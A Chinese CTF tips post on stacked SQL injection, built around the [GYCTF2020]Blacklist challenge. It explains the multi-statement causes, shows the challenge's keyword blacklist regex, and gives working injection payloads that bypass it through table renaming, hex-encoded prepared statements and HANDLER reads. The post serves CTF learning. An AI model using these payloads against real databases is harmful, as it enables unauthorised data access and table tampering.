堆叠注入tips

Posted 20175211lyz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了堆叠注入tips相关的知识,希望对你有一定的参考价值。

漏洞成因

  • 使用mysqli_multi_query()这种支持多语句执行的函数
  • 使用PDO的方式进行数据查询,创建PDO实例时PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为true时,可以执行多语句

bypass技巧

以[GYCTF2020]Blacklist为例
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject)

获取库名、表名、列名

show databases;
show tables;
show columns from `table_name`;

bypass

(1) 修改表名

此时拼接sql语句的代码肯定是固定从一个表里取出某列的数据,这时候我们修改表名,取出数据来

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

但是一定要先改原表名

(2) 预编译

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

用16进制绕过

(3) HANDLER

在这次比赛中setrename都被过滤,去翻文档可以找到https://dev.mysql.com/doc/refman/8.0/en/handler.html
技术图片

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

例题

[GYCTF2020]Blacklist
[强网杯 2019]随便注

以上是关于堆叠注入tips的主要内容,如果未能解决你的问题,请参考以下文章

Mysql注入小tips --持续更新中

防止同一片段多次堆叠 (addToBackStack)

Mysql注入 -- 堆叠注入

Sqli-labs Less-51 order by后的堆叠注入

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

web安全sql注入堆叠&二次&DNSlog&高权限注入